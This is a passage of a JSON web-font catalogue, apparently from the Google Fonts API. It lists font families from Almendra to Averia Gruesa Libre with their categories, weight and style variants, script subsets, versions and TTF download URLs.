        "700": "http://fonts.gstatic.com/s/almendra/v12/H4cjBXKAlMnTn0Cskx6G7Zu4qKK-aihq.ttf",
        "700italic": "http://fonts.gstatic.com/s/almendra/v12/H4chBXKAlMnTn0CskxY48Ae9oqacbzhqDtg.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Almendra Display",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v10",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/almendradisplay/v10/0FlPVOGWl1Sb4O3tETtADHRRlZhzXS_eTyer338.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Almendra SC",
      "category": "serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v10",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/almendrasc/v10/Iure6Yx284eebowr7hbyTZZJprVA4XQ0.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Amarante",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v7",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/amarante/v7/xMQXuF1KTa6EvGx9bq-3C3rAmD-b.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Amaranth",
      "category": "sans-serif",
      "variants": [
        "regular",
        "italic",
        "700",
        "700italic"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v10",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/amaranth/v10/KtkuALODe433f0j1zPnCF9GqwnzW.ttf",
        "italic": "http://fonts.gstatic.com/s/amaranth/v10/KtkoALODe433f0j1zMnAHdWIx2zWD4I.ttf",
        "700": "http://fonts.gstatic.com/s/amaranth/v10/KtkpALODe433f0j1zMF-OPWi6WDfFpuc.ttf",
        "700italic": "http://fonts.gstatic.com/s/amaranth/v10/KtkrALODe433f0j1zMnAJWmn42T9E4ucRY8.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Amatic SC",
      "category": "handwriting",
      "variants": [
        "regular",
        "700"
      ],
      "subsets": [
        "cyrillic",
        "vietnamese",
        "hebrew",
        "latin-ext",
        "latin"
      ],
      "version": "v13",
      "lastModified": "2019-07-17",
      "files": {
        "regular": "http://fonts.gstatic.com/s/amaticsc/v13/TUZyzwprpvBS1izr_vO0De6ecZQf1A.ttf",
        "700": "http://fonts.gstatic.com/s/amaticsc/v13/TUZ3zwprpvBS1izr_vOMscG6eb8D3WTy-A.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Amethysta",
      "category": "serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v8",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/amethysta/v8/rP2Fp2K15kgb_F3ibfWIGDWCBl0O8Q.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Amiko",
      "category": "sans-serif",
      "variants": [
        "regular",
        "600",
        "700"
      ],
      "subsets": [
        "devanagari",
        "latin-ext",
        "latin"
      ],
      "version": "v4",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/amiko/v4/WwkQxPq1DFK04tqlc17MMZgJ.ttf",
        "600": "http://fonts.gstatic.com/s/amiko/v4/WwkdxPq1DFK04uJ9XXrEGoQAUco5.ttf",
        "700": "http://fonts.gstatic.com/s/amiko/v4/WwkdxPq1DFK04uIZXHrEGoQAUco5.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Amiri",
      "category": "serif",
      "variants": [
        "regular",
        "italic",
        "700",
        "700italic"
      ],
      "subsets": [
        "arabic",
        "latin-ext",
        "latin"
      ],
      "version": "v13",
      "lastModified": "2019-07-17",
      "files": {
        "regular": "http://fonts.gstatic.com/s/amiri/v13/J7aRnpd8CGxBHqUpvrIw74NL.ttf",
        "italic": "http://fonts.gstatic.com/s/amiri/v13/J7afnpd8CGxBHpUrtLYS6pNLAjk.ttf",
        "700": "http://fonts.gstatic.com/s/amiri/v13/J7acnpd8CGxBHp2VkZY4xJ9CGyAa.ttf",
        "700italic": "http://fonts.gstatic.com/s/amiri/v13/J7aanpd8CGxBHpUrjAo9zptgHjAavCA.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Amita",
      "category": "handwriting",
      "variants": [
        "regular",
        "700"
      ],
      "subsets": [
        "devanagari",
        "latin-ext",
        "latin"
      ],
      "version": "v5",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/amita/v5/HhyaU5si9Om7PQlvAfSKEZZL.ttf",
        "700": "http://fonts.gstatic.com/s/amita/v5/HhyXU5si9Om7PTHTLtCCOopCTKkI.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Anaheim",
      "category": "sans-serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v7",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/anaheim/v7/8vII7w042Wp87g4G0UTUEE5eK_w.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Andada",
      "category": "serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v11",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/andada/v11/uK_y4riWaego3w9RCh0TMv6EXw.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Andika",
      "category": "sans-serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "cyrillic",
        "vietnamese",
        "cyrillic-ext",
        "latin-ext",
        "latin"
      ],
      "version": "v11",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/andika/v11/mem_Ya6iyW-LwqgAbbwRWrwGVA.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Angkor",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "khmer"
      ],
      "version": "v12",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/angkor/v12/H4cmBXyAlsPdnlb-8iw-4Lqggw.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Annie Use Your Telescope",
      "category": "handwriting",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v10",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/annieuseyourtelescope/v10/daaLSS4tI2qYYl3Jq9s_Hu74xwktnlKxH6osGVGjlDfB3UUVZA.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Anonymous Pro",
      "category": "monospace",
      "variants": [
        "regular",
        "italic",
        "700",
        "700italic"
      ],
      "subsets": [
        "cyrillic",
        "greek",
        "latin-ext",
        "latin"
      ],
      "version": "v13",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/anonymouspro/v13/rP2Bp2a15UIB7Un-bOeISG3pLlw89CH98Ko.ttf",
        "italic": "http://fonts.gstatic.com/s/anonymouspro/v13/rP2fp2a15UIB7Un-bOeISG3pHl428AP44Kqr2Q.ttf",
        "700": "http://fonts.gstatic.com/s/anonymouspro/v13/rP2cp2a15UIB7Un-bOeISG3pFuAT0CnW7KOywKo.ttf",
        "700italic": "http://fonts.gstatic.com/s/anonymouspro/v13/rP2ap2a15UIB7Un-bOeISG3pHl4OTCzc6IG30KqB9Q.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Antic",
      "category": "sans-serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v11",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/antic/v11/TuGfUVB8XY5DRaZLodgzydtk.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Antic Didone",
      "category": "serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v8",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/anticdidone/v8/RWmPoKKX6u8sp8fIWdnDKqDiqYsGBGBzCw.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Antic Slab",
      "category": "serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v8",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/anticslab/v8/bWt97fPFfRzkCa9Jlp6IWcJWXW5p5Qo.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Anton",
      "category": "sans-serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "vietnamese",
        "latin-ext",
        "latin"
      ],
      "version": "v11",
      "lastModified": "2019-07-17",
      "files": {
        "regular": "http://fonts.gstatic.com/s/anton/v11/1Ptgg87LROyAm0K08i4gS7lu.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Arapey",
      "category": "serif",
      "variants": [
        "regular",
        "italic"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v8",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/arapey/v8/-W__XJn-UDDA2RC6Z9AcZkIzeg.ttf",
        "italic": "http://fonts.gstatic.com/s/arapey/v8/-W_9XJn-UDDA2RCKZdoYREcjeo0k.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Arbutus",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v9",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/arbutus/v9/NaPYcZ7dG_5J3poob9JtryO8fMU.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Arbutus Slab",
      "category": "serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v8",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/arbutusslab/v8/oY1Z8e7OuLXkJGbXtr5ba7ZVa68dJlaFAQ.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Architects Daughter",
      "category": "handwriting",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v10",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/architectsdaughter/v10/KtkxAKiDZI_td1Lkx62xHZHDtgO_Y-bvfY5q4szgE-Q.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Archivo",
      "category": "sans-serif",
      "variants": [
        "regular",
        "italic",
        "500",
        "500italic",
        "600",
        "600italic",
        "700",
        "700italic"
      ],
      "subsets": [
        "vietnamese",
        "latin-ext",
        "latin"
      ],
      "version": "v6",
      "lastModified": "2019-07-26",
      "files": {
        "regular": "http://fonts.gstatic.com/s/archivo/v6/k3kQo8UDI-1M0wlSTd7iL0nAMaM.ttf",
        "italic": "http://fonts.gstatic.com/s/archivo/v6/k3kSo8UDI-1M0wlSfdzoK2vFIaOV8A.ttf",
        "500": "http://fonts.gstatic.com/s/archivo/v6/k3kVo8UDI-1M0wlSdSrLC0HrLaqM6Q4.ttf",
        "500italic": "http://fonts.gstatic.com/s/archivo/v6/k3kXo8UDI-1M0wlSfdzQ30LhKYiJ-Q7m8w.ttf",
        "600": "http://fonts.gstatic.com/s/archivo/v6/k3kVo8UDI-1M0wlSdQbMC0HrLaqM6Q4.ttf",
        "600italic": "http://fonts.gstatic.com/s/archivo/v6/k3kXo8UDI-1M0wlSfdzQ80XhKYiJ-Q7m8w.ttf",
        "700": "http://fonts.gstatic.com/s/archivo/v6/k3kVo8UDI-1M0wlSdWLNC0HrLaqM6Q4.ttf",
        "700italic": "http://fonts.gstatic.com/s/archivo/v6/k3kXo8UDI-1M0wlSfdzQl0ThKYiJ-Q7m8w.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Archivo Black",
      "category": "sans-serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v9",
      "lastModified": "2019-07-17",
      "files": {
        "regular": "http://fonts.gstatic.com/s/archivoblack/v9/HTxqL289NzCGg4MzN6KJ7eW6OYuP_x7yx3A.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Archivo Narrow",
      "category": "sans-serif",
      "variants": [
        "regular",
        "italic",
        "500",
        "500italic",
        "600",
        "600italic",
        "700",
        "700italic"
      ],
      "subsets": [
        "vietnamese",
        "latin-ext",
        "latin"
      ],
      "version": "v11",
      "lastModified": "2019-07-26",
      "files": {
        "regular": "http://fonts.gstatic.com/s/archivonarrow/v11/tss0ApVBdCYD5Q7hcxTE1ArZ0Yb3g31S2s8p.ttf",
        "italic": "http://fonts.gstatic.com/s/archivonarrow/v11/tss2ApVBdCYD5Q7hcxTE1ArZ0bb1iXlw398pJxk.ttf",
        "500": "http://fonts.gstatic.com/s/archivonarrow/v11/tss3ApVBdCYD5Q7hcxTE1ArZ0b4Dqlla8dMgPgBu.ttf",
        "500italic": "http://fonts.gstatic.com/s/archivonarrow/v11/tssxApVBdCYD5Q7hcxTE1ArZ0bb1sY1Z-9cCOxBu_BM.ttf",
        "600": "http://fonts.gstatic.com/s/archivonarrow/v11/tss3ApVBdCYD5Q7hcxTE1ArZ0b4vrVla8dMgPgBu.ttf",
        "600italic": "http://fonts.gstatic.com/s/archivonarrow/v11/tssxApVBdCYD5Q7hcxTE1ArZ0bb1saFe-9cCOxBu_BM.ttf",
        "700": "http://fonts.gstatic.com/s/archivonarrow/v11/tss3ApVBdCYD5Q7hcxTE1ArZ0b5LrFla8dMgPgBu.ttf",
        "700italic": "http://fonts.gstatic.com/s/archivonarrow/v11/tssxApVBdCYD5Q7hcxTE1ArZ0bb1scVf-9cCOxBu_BM.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Aref Ruqaa",
      "category": "serif",
      "variants": [
        "regular",
        "700"
      ],
      "subsets": [
        "arabic",
        "latin"
      ],
      "version": "v8",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/arefruqaa/v8/WwkbxPW1E165rajQKDulEIAiVNo5xNY.ttf",
        "700": "http://fonts.gstatic.com/s/arefruqaa/v8/WwkYxPW1E165rajQKDulKDwNcNIS2N_7Bdk.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Arima Madurai",
      "category": "display",
      "variants": [
        "100",
        "200",
        "300",
        "regular",
        "500",
        "700",
        "800",
        "900"
      ],
      "subsets": [
        "vietnamese",
        "latin-ext",
        "tamil",
        "latin"
      ],
      "version": "v5",
      "lastModified": "2019-07-16",
      "files": {
        "100": "http://fonts.gstatic.com/s/arimamadurai/v5/t5t4IRoeKYORG0WNMgnC3seB1V3PqrGCch4Drg.ttf",
        "200": "http://fonts.gstatic.com/s/arimamadurai/v5/t5t7IRoeKYORG0WNMgnC3seB1fHuipusfhcat2c.ttf",
        "300": "http://fonts.gstatic.com/s/arimamadurai/v5/t5t7IRoeKYORG0WNMgnC3seB1ZXtipusfhcat2c.ttf",
        "regular": "http://fonts.gstatic.com/s/arimamadurai/v5/t5tmIRoeKYORG0WNMgnC3seB7TnFrpOHYh4.ttf",
        "500": "http://fonts.gstatic.com/s/arimamadurai/v5/t5t7IRoeKYORG0WNMgnC3seB1c3sipusfhcat2c.ttf",
        "700": "http://fonts.gstatic.com/s/arimamadurai/v5/t5t7IRoeKYORG0WNMgnC3seB1YXqipusfhcat2c.ttf",
        "800": "http://fonts.gstatic.com/s/arimamadurai/v5/t5t7IRoeKYORG0WNMgnC3seB1Znpipusfhcat2c.ttf",
        "900": "http://fonts.gstatic.com/s/arimamadurai/v5/t5t7IRoeKYORG0WNMgnC3seB1b3oipusfhcat2c.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Arimo",
      "category": "sans-serif",
      "variants": [
        "regular",
        "italic",
        "700",
        "700italic"
      ],
      "subsets": [
        "cyrillic",
        "vietnamese",
        "hebrew",
        "cyrillic-ext",
        "greek-ext",
        "greek",
        "latin-ext",
        "latin"
      ],
      "version": "v13",
      "lastModified": "2019-07-22",
      "files": {
        "regular": "http://fonts.gstatic.com/s/arimo/v13/P5sMzZCDf9_T_20eziBMjI-u.ttf",
        "italic": "http://fonts.gstatic.com/s/arimo/v13/P5sCzZCDf9_T_10cxCRuiZ-uydg.ttf",
        "700": "http://fonts.gstatic.com/s/arimo/v13/P5sBzZCDf9_T_1Wi4QREp5On0ME2.ttf",
        "700italic": "http://fonts.gstatic.com/s/arimo/v13/P5sHzZCDf9_T_10c_JhBrZeF1dE2PY4.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Arizonia",
      "category": "handwriting",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v10",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/arizonia/v10/neIIzCemt4A5qa7mv6WGHK06UY30.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Armata",
      "category": "sans-serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v11",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/armata/v11/gokvH63_HV5jQ-E9lD53Q2u_mQ.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Arsenal",
      "category": "sans-serif",
      "variants": [
        "regular",
        "italic",
        "700",
        "700italic"
      ],
      "subsets": [
        "cyrillic",
        "vietnamese",
        "cyrillic-ext",
        "latin-ext",
        "latin"
      ],
      "version": "v4",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/arsenal/v4/wXKrE3kQtZQ4pF3D11_WAewrhXY.ttf",
        "italic": "http://fonts.gstatic.com/s/arsenal/v4/wXKpE3kQtZQ4pF3D513cBc4ulXYrtA.ttf",
        "700": "http://fonts.gstatic.com/s/arsenal/v4/wXKuE3kQtZQ4pF3D7-P5JeQAmX8yrdk.ttf",
        "700italic": "http://fonts.gstatic.com/s/arsenal/v4/wXKsE3kQtZQ4pF3D513kueEKnV03vdnKjw.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Artifika",
      "category": "serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v10",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/artifika/v10/VEMyRoxzronptCuxu6Wt5jDtreOL.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Arvo",
      "category": "serif",
      "variants": [
        "regular",
        "italic",
        "700",
        "700italic"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v13",
      "lastModified": "2019-07-26",
      "files": {
        "regular": "http://fonts.gstatic.com/s/arvo/v13/tDbD2oWUg0MKmSAa7Lzr7vs.ttf",
        "italic": "http://fonts.gstatic.com/s/arvo/v13/tDbN2oWUg0MKqSIQ6J7u_vvijQ.ttf",
        "700": "http://fonts.gstatic.com/s/arvo/v13/tDbM2oWUg0MKoZw1yLTA8vL7lAE.ttf",
        "700italic": "http://fonts.gstatic.com/s/arvo/v13/tDbO2oWUg0MKqSIoVLHK9tD-hAHkGg.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Arya",
      "category": "sans-serif",
      "variants": [
        "regular",
        "700"
      ],
      "subsets": [
        "devanagari",
        "latin-ext",
        "latin"
      ],
      "version": "v5",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/arya/v5/ga6CawNG-HJd9Ub1-beqdFE.ttf",
        "700": "http://fonts.gstatic.com/s/arya/v5/ga6NawNG-HJdzfra3b-BaFg3dRE.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Asap",
      "category": "sans-serif",
      "variants": [
        "regular",
        "italic",
        "500",
        "500italic",
        "600",
        "600italic",
        "700",
        "700italic"
      ],
      "subsets": [
        "vietnamese",
        "latin-ext",
        "latin"
      ],
      "version": "v11",
      "lastModified": "2019-07-26",
      "files": {
        "regular": "http://fonts.gstatic.com/s/asap/v11/KFOoCniXp96a-zwU4UROGzY.ttf",
        "italic": "http://fonts.gstatic.com/s/asap/v11/KFOmCniXp96ayz4e5WZLCzYlKw.ttf",
        "500": "http://fonts.gstatic.com/s/asap/v11/KFOnCniXp96aw8g9xUxlBz88MsA.ttf",
        "500italic": "http://fonts.gstatic.com/s/asap/v11/KFOlCniXp96ayz4mEU9vAx05IsDqlA.ttf",
        "600": "http://fonts.gstatic.com/s/asap/v11/KFOnCniXp96aw-Q6xUxlBz88MsA.ttf",
        "600italic": "http://fonts.gstatic.com/s/asap/v11/KFOlCniXp96ayz4mPUhvAx05IsDqlA.ttf",
        "700": "http://fonts.gstatic.com/s/asap/v11/KFOnCniXp96aw4A7xUxlBz88MsA.ttf",
        "700italic": "http://fonts.gstatic.com/s/asap/v11/KFOlCniXp96ayz4mWUlvAx05IsDqlA.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Asap Condensed",
      "category": "sans-serif",
      "variants": [
        "regular",
        "italic",
        "500",
        "500italic",
        "600",
        "600italic",
        "700",
        "700italic"
      ],
      "subsets": [
        "vietnamese",
        "latin-ext",
        "latin"
      ],
      "version": "v5",
      "lastModified": "2019-07-26",
      "files": {
        "regular": "http://fonts.gstatic.com/s/asapcondensed/v5/pxidypY1o9NHyXh3WvSbGSggdNeLYk1Mq3ap.ttf",
        "italic": "http://fonts.gstatic.com/s/asapcondensed/v5/pxifypY1o9NHyXh3WvSbGSggdOeJaElurmapvvM.ttf",
        "500": "http://fonts.gstatic.com/s/asapcondensed/v5/pxieypY1o9NHyXh3WvSbGSggdO9_S2lEgGqgp-pO.ttf",
        "500italic": "http://fonts.gstatic.com/s/asapcondensed/v5/pxiYypY1o9NHyXh3WvSbGSggdOeJUL1Him6CovpOkXA.ttf",
        "600": "http://fonts.gstatic.com/s/asapcondensed/v5/pxieypY1o9NHyXh3WvSbGSggdO9TTGlEgGqgp-pO.ttf",
        "600italic": "http://fonts.gstatic.com/s/asapcondensed/v5/pxiYypY1o9NHyXh3WvSbGSggdOeJUJFAim6CovpOkXA.ttf",
        "700": "http://fonts.gstatic.com/s/asapcondensed/v5/pxieypY1o9NHyXh3WvSbGSggdO83TWlEgGqgp-pO.ttf",
        "700italic": "http://fonts.gstatic.com/s/asapcondensed/v5/pxiYypY1o9NHyXh3WvSbGSggdOeJUPVBim6CovpOkXA.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Asar",
      "category": "serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "devanagari",
        "latin-ext",
        "latin"
      ],
      "version": "v7",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/asar/v7/sZlLdRyI6TBIXkYQDLlTW6E.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Asset",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v10",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/asset/v10/SLXGc1na-mM4cWImRJqExst1.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Assistant",
      "category": "sans-serif",
      "variants": [
        "200",
        "300",
        "regular",
        "600",
        "700",
        "800"
      ],
      "subsets": [
        "hebrew",
        "latin"
      ],
      "version": "v4",
      "lastModified": "2019-07-17",
      "files": {
        "200": "http://fonts.gstatic.com/s/assistant/v4/2sDZZGJYnIjSi6H75xk7p0ScA5cZbCjItw.ttf",
        "300": "http://fonts.gstatic.com/s/assistant/v4/2sDZZGJYnIjSi6H75xk7w0ecA5cZbCjItw.ttf",
        "regular": "http://fonts.gstatic.com/s/assistant/v4/2sDcZGJYnIjSi6H75xkDb2-4C7wFZQ.ttf",
        "600": "http://fonts.gstatic.com/s/assistant/v4/2sDZZGJYnIjSi6H75xk7t0GcA5cZbCjItw.ttf",
        "700": "http://fonts.gstatic.com/s/assistant/v4/2sDZZGJYnIjSi6H75xk700CcA5cZbCjItw.ttf",
        "800": "http://fonts.gstatic.com/s/assistant/v4/2sDZZGJYnIjSi6H75xk7z0OcA5cZbCjItw.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Astloch",
      "category": "display",
      "variants": [
        "regular",
        "700"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v11",
      "lastModified": "2019-07-26",
      "files": {
        "regular": "http://fonts.gstatic.com/s/astloch/v11/TuGRUVJ8QI5GSeUjq9wRzMtkH1Q.ttf",
        "700": "http://fonts.gstatic.com/s/astloch/v11/TuGUUVJ8QI5GSeUjk2A-6MNPA10xLMQ.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Asul",
      "category": "sans-serif",
      "variants": [
        "regular",
        "700"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v9",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/asul/v9/VuJ-dNjKxYr46fMFXK78JIg.ttf",
        "700": "http://fonts.gstatic.com/s/asul/v9/VuJxdNjKxYr40U8qeKbXOIFneRo.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Athiti",
      "category": "sans-serif",
      "variants": [
        "200",
        "300",
        "regular",
        "500",
        "600",
        "700"
      ],
      "subsets": [
        "vietnamese",
        "thai",
        "latin-ext",
        "latin"
      ],
      "version": "v4",
      "lastModified": "2019-07-16",
      "files": {
        "200": "http://fonts.gstatic.com/s/athiti/v4/pe0sMISdLIZIv1wAxDNyAv2-C99ycg.ttf",
        "300": "http://fonts.gstatic.com/s/athiti/v4/pe0sMISdLIZIv1wAoDByAv2-C99ycg.ttf",
        "regular": "http://fonts.gstatic.com/s/athiti/v4/pe0vMISdLIZIv1w4DBhWCtaiAg.ttf",
        "500": "http://fonts.gstatic.com/s/athiti/v4/pe0sMISdLIZIv1wA-DFyAv2-C99ycg.ttf",
        "600": "http://fonts.gstatic.com/s/athiti/v4/pe0sMISdLIZIv1wA1DZyAv2-C99ycg.ttf",
        "700": "http://fonts.gstatic.com/s/athiti/v4/pe0sMISdLIZIv1wAsDdyAv2-C99ycg.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Atma",
      "category": "display",
      "variants": [
        "300",
        "regular",
        "500",
        "600",
        "700"
      ],
      "subsets": [
        "bengali",
        "latin-ext",
        "latin"
      ],
      "version": "v5",
      "lastModified": "2019-07-16",
      "files": {
        "300": "http://fonts.gstatic.com/s/atma/v5/uK_z4rqWc-Eoo8JzKjc9PvedRkM.ttf",
        "regular": "http://fonts.gstatic.com/s/atma/v5/uK_84rqWc-Eom25bDj8WIv4.ttf",
        "500": "http://fonts.gstatic.com/s/atma/v5/uK_z4rqWc-Eoo5pyKjc9PvedRkM.ttf",
        "600": "http://fonts.gstatic.com/s/atma/v5/uK_z4rqWc-Eoo7Z1Kjc9PvedRkM.ttf",
        "700": "http://fonts.gstatic.com/s/atma/v5/uK_z4rqWc-Eoo9J0Kjc9PvedRkM.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Atomic Age",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v12",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/atomicage/v12/f0Xz0eug6sdmRFkYZZGL58Ht9a8GYeA.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Aubrey",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v12",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/aubrey/v12/q5uGsou7NPBw-p7vugNsCxVEgA.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Audiowide",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v8",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/audiowide/v8/l7gdbjpo0cum0ckerWCtkQXPExpQBw.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Autour One",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v9",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/autourone/v9/UqyVK80cP25l3fJgbdfbk5lWVscxdKE.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Average",
      "category": "serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v8",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/average/v8/fC1hPYBHe23MxA7rIeJwVWytTyk.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Average Sans",
      "category": "sans-serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v8",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/averagesans/v8/1Ptpg8fLXP2dlAXR-HlJJNJPBdqazVoK4A.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Averia Gruesa Libre",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
